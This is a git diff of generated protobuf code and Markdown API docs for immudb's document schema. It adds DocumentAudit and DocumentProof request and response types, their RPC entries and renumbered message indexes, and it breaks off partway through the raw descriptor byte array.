a/pkg/api/documentsschema/docs.md +++ b/pkg/api/documentsschema/docs.md @@ -17,8 +17,15 @@ - [CollectionInformation.PrimaryKeysEntry](#immudb.documentsschema.CollectionInformation.PrimaryKeysEntry) - [CollectionListRequest](#immudb.documentsschema.CollectionListRequest) - [CollectionListResponse](#immudb.documentsschema.CollectionListResponse) + - [DocumentAudit](#immudb.documentsschema.DocumentAudit) + - [DocumentAuditRequest](#immudb.documentsschema.DocumentAuditRequest) + - [DocumentAuditRequest.PrimaryKeysEntry](#immudb.documentsschema.DocumentAuditRequest.PrimaryKeysEntry) + - [DocumentAuditResponse](#immudb.documentsschema.DocumentAuditResponse) - [DocumentInsertRequest](#immudb.documentsschema.DocumentInsertRequest) - [DocumentInsertResponse](#immudb.documentsschema.DocumentInsertResponse) + - [DocumentProofRequest](#immudb.documentsschema.DocumentProofRequest) + - [DocumentProofRequest.PrimaryKeysEntry](#immudb.documentsschema.DocumentProofRequest.PrimaryKeysEntry) + - [DocumentProofResponse](#immudb.documentsschema.DocumentProofResponse) - [DocumentQuery](#immudb.documentsschema.DocumentQuery) - [DocumentSearchRequest](#immudb.documentsschema.DocumentSearchRequest) - [DocumentSearchResponse](#immudb.documentsschema.DocumentSearchResponse) @@ -240,6 +247,74 @@ + + +### DocumentAudit + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| value | [google.protobuf.Struct](#google.protobuf.Struct) | | | +| transactionID | [uint64](#uint64) | | | + + + + + + + + +### DocumentAuditRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| primaryKeys | [DocumentAuditRequest.PrimaryKeysEntry](#immudb.documentsschema.DocumentAuditRequest.PrimaryKeysEntry) | repeated | | +| page | [uint32](#uint32) | | | +| perPage | [uint32](#uint32) | | | + + + + + + + + +### DocumentAuditRequest.PrimaryKeysEntry + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| key | [string](#string) | | | +| value | [IndexValue](#immudb.documentsschema.IndexValue) | | | + + + + + + + + +### DocumentAuditResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| results | [DocumentAudit](#immudb.documentsschema.DocumentAudit) | repeated | | +| page | [uint32](#uint32) | | | +| perPage | [uint32](#uint32) | | | +| entriesLeft | [uint32](#uint32) | | | + + + + + + ### DocumentInsertRequest @@ -271,6 +346,54 @@ + + +### DocumentProofRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| primaryKeys | [DocumentProofRequest.PrimaryKeysEntry](#immudb.documentsschema.DocumentProofRequest.PrimaryKeysEntry) | repeated | | +| atRevision | [int64](#int64) | | | + + + + + + + + +### DocumentProofRequest.PrimaryKeysEntry + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| key | [string](#string) | | | +| value | [IndexValue](#immudb.documentsschema.IndexValue) | | | + + + + + + + + +### DocumentProofResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| proof | [immudb.schema.VerifiableTx](#immudb.schema.VerifiableTx) | | | + + + + + + ### DocumentQuery @@ -416,6 +539,8 @@ | ----------- | ------------ | ------------- | ------------| | DocumentInsert | [DocumentInsertRequest](#immudb.documentsschema.DocumentInsertRequest) | [DocumentInsertResponse](#immudb.documentsschema.DocumentInsertResponse) | | | DocumentSearch | [DocumentSearchRequest](#immudb.documentsschema.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.documentsschema.DocumentSearchResponse) | | +| DocumentAudit | [DocumentAuditRequest](#immudb.documentsschema.DocumentAuditRequest) | [DocumentAuditResponse](#immudb.documentsschema.DocumentAuditResponse) | | +| DocumentProof | [DocumentProofRequest](#immudb.documentsschema.DocumentProofRequest) | [DocumentProofResponse](#immudb.documentsschema.DocumentProofResponse) | | | CollectionCreate | [CollectionCreateRequest](#immudb.documentsschema.CollectionCreateRequest) | [CollectionCreateResponse](#immudb.documentsschema.CollectionCreateResponse) | | | CollectionGet | [CollectionGetRequest](#immudb.documentsschema.CollectionGetRequest) | [CollectionGetResponse](#immudb.documentsschema.CollectionGetResponse) | | | CollectionList | [CollectionListRequest](#immudb.documentsschema.CollectionListRequest) | [CollectionListResponse](#immudb.documentsschema.CollectionListResponse) | | diff --git a/pkg/api/documentsschema/documentsschema.pb.go b/pkg/api/documentsschema/documentsschema.pb.go index 0a4f2f3c6f..e98eef9533 100644 --- a/pkg/api/documentsschema/documentsschema.pb.go +++ b/pkg/api/documentsschema/documentsschema.pb.go @@ -548,6 +548,313 @@ func (x *DocumentSearchResponse) GetEntriesLeft() uint32 { return 0 } +type DocumentProofRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + PrimaryKeys map[string]*IndexValue `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + AtRevision int64 `protobuf:"varint,3,opt,name=atRevision,proto3" json:"atRevision,omitempty"` +} + +func (x *DocumentProofRequest) Reset() { + *x = DocumentProofRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[6] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentProofRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentProofRequest) ProtoMessage() {} + +func (x *DocumentProofRequest) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[6] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentProofRequest.ProtoReflect.Descriptor instead. +func (*DocumentProofRequest) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{6} +} + +func (x *DocumentProofRequest) GetCollection() string { + if x != nil { + return x.Collection + } + return "" +} + +func (x *DocumentProofRequest) GetPrimaryKeys() map[string]*IndexValue { + if x != nil { + return x.PrimaryKeys + } + return nil +} + +func (x *DocumentProofRequest) GetAtRevision() int64 { + if x != nil { + return x.AtRevision + } + return 0 +} + +type DocumentProofResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Proof *schema.VerifiableTx `protobuf:"bytes,1,opt,name=proof,proto3" json:"proof,omitempty"` +} + +func (x *DocumentProofResponse) Reset() { + *x = DocumentProofResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[7] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentProofResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentProofResponse) ProtoMessage() {} + +func (x *DocumentProofResponse) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[7] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentProofResponse.ProtoReflect.Descriptor instead. +func (*DocumentProofResponse) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{7} +} + +func (x *DocumentProofResponse) GetProof() *schema.VerifiableTx { + if x != nil { + return x.Proof + } + return nil +} + +type DocumentAuditRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + PrimaryKeys map[string]*IndexValue `protobuf:"bytes,2,rep,name=primaryKeys,proto3" json:"primaryKeys,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` + Page uint32 `protobuf:"varint,3,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,4,opt,name=perPage,proto3" json:"perPage,omitempty"` +} + +func (x *DocumentAuditRequest) Reset() { + *x = DocumentAuditRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[8] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentAuditRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentAuditRequest) ProtoMessage() {} + +func (x *DocumentAuditRequest) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[8] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentAuditRequest.ProtoReflect.Descriptor instead. +func (*DocumentAuditRequest) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{8} +} + +func (x *DocumentAuditRequest) GetCollection() string { + if x != nil { + return x.Collection + } + return "" +} + +func (x *DocumentAuditRequest) GetPrimaryKeys() map[string]*IndexValue { + if x != nil { + return x.PrimaryKeys + } + return nil +} + +func (x *DocumentAuditRequest) GetPage() uint32 { + if x != nil { + return x.Page + } + return 0 +} + +func (x *DocumentAuditRequest) GetPerPage() uint32 { + if x != nil { + return x.PerPage + } + return 0 +} + +type DocumentAuditResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Results []*DocumentAudit `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` + Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` + EntriesLeft uint32 `protobuf:"varint,4,opt,name=entriesLeft,proto3" json:"entriesLeft,omitempty"` +} + +func (x *DocumentAuditResponse) Reset() { + *x = DocumentAuditResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[9] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentAuditResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentAuditResponse) ProtoMessage() {} + +func (x *DocumentAuditResponse) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[9] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentAuditResponse.ProtoReflect.Descriptor instead. +func (*DocumentAuditResponse) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{9} +} + +func (x *DocumentAuditResponse) GetResults() []*DocumentAudit { + if x != nil { + return x.Results + } + return nil +} + +func (x *DocumentAuditResponse) GetPage() uint32 { + if x != nil { + return x.Page + } + return 0 +} + +func (x *DocumentAuditResponse) GetPerPage() uint32 { + if x != nil { + return x.PerPage + } + return 0 +} + +func (x *DocumentAuditResponse) GetEntriesLeft() uint32 { + if x != nil { + return x.EntriesLeft + } + return 0 +} + +type DocumentAudit struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Value *_struct.Struct `protobuf:"bytes,1,opt,name=value,proto3" json:"value,omitempty"` + TransactionID uint64 `protobuf:"varint,2,opt,name=transactionID,proto3" json:"transactionID,omitempty"` +} + +func (x *DocumentAudit) Reset() { + *x = DocumentAudit{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[10] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentAudit) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentAudit) ProtoMessage() {} + +func (x *DocumentAudit) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[10] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentAudit.ProtoReflect.Descriptor instead. +func (*DocumentAudit) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{10} +} + +func (x *DocumentAudit) GetValue() *_struct.Struct { + if x != nil { + return x.Value + } + return nil +} + +func (x *DocumentAudit) GetTransactionID() uint64 { + if x != nil { + return x.TransactionID + } + return 0 +} + type IndexOption struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -559,7 +866,7 @@ type IndexOption struct { func (x *IndexOption) Reset() { *x = IndexOption{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[6] + mi := &file_documentsschema_proto_msgTypes[11] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -572,7 +879,7 @@ func (x *IndexOption) String() string { func (*IndexOption) ProtoMessage() {} func (x *IndexOption) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[6] + mi := &file_documentsschema_proto_msgTypes[11] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -585,7 +892,7 @@ func (x *IndexOption) ProtoReflect() protoreflect.Message { // Deprecated: Use IndexOption.ProtoReflect.Descriptor instead. func (*IndexOption) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{6} + return file_documentsschema_proto_rawDescGZIP(), []int{11} } func (x *IndexOption) GetType() IndexType { @@ -608,7 +915,7 @@ type CollectionCreateRequest struct { func (x *CollectionCreateRequest) Reset() { *x = CollectionCreateRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[7] + mi := &file_documentsschema_proto_msgTypes[12] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -621,7 +928,7 @@ func (x *CollectionCreateRequest) String() string { func (*CollectionCreateRequest) ProtoMessage() {} func (x *CollectionCreateRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[7] + mi := &file_documentsschema_proto_msgTypes[12] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -634,7 +941,7 @@ func (x *CollectionCreateRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionCreateRequest.ProtoReflect.Descriptor instead. func (*CollectionCreateRequest) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{7} + return file_documentsschema_proto_rawDescGZIP(), []int{12} } func (x *CollectionCreateRequest) GetName() string { @@ -669,7 +976,7 @@ type CollectionCreateResponse struct { func (x *CollectionCreateResponse) Reset() { *x = CollectionCreateResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[8] + mi := &file_documentsschema_proto_msgTypes[13] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -682,7 +989,7 @@ func (x *CollectionCreateResponse) String() string { func (*CollectionCreateResponse) ProtoMessage() {} func (x *CollectionCreateResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[8] + mi := &file_documentsschema_proto_msgTypes[13] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -695,7 +1002,7 @@ func (x *CollectionCreateResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionCreateResponse.ProtoReflect.Descriptor instead. func (*CollectionCreateResponse) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{8} + return file_documentsschema_proto_rawDescGZIP(), []int{13} } func (x *CollectionCreateResponse) GetCollection() *CollectionInformation { @@ -718,7 +1025,7 @@ type CollectionInformation struct { func (x *CollectionInformation) Reset() { *x = CollectionInformation{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[9] + mi := &file_documentsschema_proto_msgTypes[14] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -731,7 +1038,7 @@ func (x *CollectionInformation) String() string { func (*CollectionInformation) ProtoMessage() {} func (x *CollectionInformation) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[9] + mi := &file_documentsschema_proto_msgTypes[14] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -744,7 +1051,7 @@ func (x *CollectionInformation) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionInformation.ProtoReflect.Descriptor instead. func (*CollectionInformation) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{9} + return file_documentsschema_proto_rawDescGZIP(), []int{14} } func (x *CollectionInformation) GetName() string { @@ -779,7 +1086,7 @@ type CollectionGetResponse struct { func (x *CollectionGetResponse) Reset() { *x = CollectionGetResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[10] + mi := &file_documentsschema_proto_msgTypes[15] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -792,7 +1099,7 @@ func (x *CollectionGetResponse) String() string { func (*CollectionGetResponse) ProtoMessage() {} func (x *CollectionGetResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[10] + mi := &file_documentsschema_proto_msgTypes[15] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -805,7 +1112,7 @@ func (x *CollectionGetResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionGetResponse.ProtoReflect.Descriptor instead. func (*CollectionGetResponse) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{10} + return file_documentsschema_proto_rawDescGZIP(), []int{15} } func (x *CollectionGetResponse) GetCollection() *CollectionInformation { @@ -826,7 +1133,7 @@ type CollectionGetRequest struct { func (x *CollectionGetRequest) Reset() { *x = CollectionGetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[11] + mi := &file_documentsschema_proto_msgTypes[16] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -839,7 +1146,7 @@ func (x *CollectionGetRequest) String() string { func (*CollectionGetRequest) ProtoMessage() {} func (x *CollectionGetRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[11] + mi := &file_documentsschema_proto_msgTypes[16] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -852,7 +1159,7 @@ func (x *CollectionGetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionGetRequest.ProtoReflect.Descriptor instead. func (*CollectionGetRequest) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{11} + return file_documentsschema_proto_rawDescGZIP(), []int{16} } func (x *CollectionGetRequest) GetName() string { @@ -871,7 +1178,7 @@ type CollectionListRequest struct { func (x *CollectionListRequest) Reset() { *x = CollectionListRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[12] + mi := &file_documentsschema_proto_msgTypes[17] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -884,7 +1191,7 @@ func (x *CollectionListRequest) String() string { func (*CollectionListRequest) ProtoMessage() {} func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[12] + mi := &file_documentsschema_proto_msgTypes[17] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -897,7 +1204,7 @@ func (x *CollectionListRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionListRequest.ProtoReflect.Descriptor instead. func (*CollectionListRequest) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{12} + return file_documentsschema_proto_rawDescGZIP(), []int{17} } type CollectionListResponse struct { @@ -911,7 +1218,7 @@ type CollectionListResponse struct { func (x *CollectionListResponse) Reset() { *x = CollectionListResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[13] + mi := &file_documentsschema_proto_msgTypes[18] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -924,7 +1231,7 @@ func (x *CollectionListResponse) String() string { func (*CollectionListResponse) ProtoMessage() {} func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[13] + mi := &file_documentsschema_proto_msgTypes[18] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -937,7 +1244,7 @@ func (x *CollectionListResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionListResponse.ProtoReflect.Descriptor instead. func (*CollectionListResponse) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{13} + return file_documentsschema_proto_rawDescGZIP(), []int{18} } func (x *CollectionListResponse) GetCollections() []*CollectionInformation { @@ -958,7 +1265,7 @@ type CollectionDeleteRequest struct { func (x *CollectionDeleteRequest) Reset() { *x = CollectionDeleteRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[14] + mi := &file_documentsschema_proto_msgTypes[19] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -971,7 +1278,7 @@ func (x *CollectionDeleteRequest) String() string { func (*CollectionDeleteRequest) ProtoMessage() {} func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[14] + mi := &file_documentsschema_proto_msgTypes[19] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -984,7 +1291,7 @@ func (x *CollectionDeleteRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionDeleteRequest.ProtoReflect.Descriptor instead. func (*CollectionDeleteRequest) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{14} + return file_documentsschema_proto_rawDescGZIP(), []int{19} } func (x *CollectionDeleteRequest) GetName() string { @@ -1005,7 +1312,7 @@ type CollectionDeleteResponse struct { func (x *CollectionDeleteResponse) Reset() { *x = CollectionDeleteResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[15] + mi := &file_documentsschema_proto_msgTypes[20] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1018,7 +1325,7 @@ func (x *CollectionDeleteResponse) String() string { func (*CollectionDeleteResponse) ProtoMessage() {} func (x *CollectionDeleteResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[15] + mi := &file_documentsschema_proto_msgTypes[20] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1031,7 +1338,7 @@ func (x *CollectionDeleteResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use CollectionDeleteResponse.ProtoReflect.Descriptor instead. func (*CollectionDeleteResponse) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{15} + return file_documentsschema_proto_rawDescGZIP(), []int{20} } func (x *CollectionDeleteResponse) GetResponse() *empty.Empty { @@ -1052,7 +1359,7 @@ type Proof struct { func (x *Proof) Reset() { *x = Proof{} if protoimpl.UnsafeEnabled { - mi := &file_documentsschema_proto_msgTypes[16] + mi := &file_documentsschema_proto_msgTypes[21] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1065,7 +1372,7 @@ func (x *Proof) String() string { func (*Proof) ProtoMessage() {} func (x *Proof) ProtoReflect() protoreflect.Message { - mi := &file_documentsschema_proto_msgTypes[16] + mi := &file_documentsschema_proto_msgTypes[21] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1078,7 +1385,7 @@ func (x *Proof) ProtoReflect() protoreflect.Message { // Deprecated: Use Proof.ProtoReflect.Descriptor instead. func (*Proof) Descriptor() ([]byte, []int) { - return file_documentsschema_proto_rawDescGZIP(), []int{16} + return file_documentsschema_proto_rawDescGZIP(), []int{21} } func (x *Proof) GetName() string { @@ -1156,183 +1463,260 @@ var file_documentsschema_proto_rawDesc = []byte{ 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, - 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x44, 0x0a, 0x0b, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x35, 0x0a, 0x04, 0x74, 0x79, 0x70, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, - 0x22, 0xb7, 0x03, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x12, 0x62, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, - 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x40, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, + 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0x9b, 0x02, 0x0a, 0x14, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x5f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, + 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 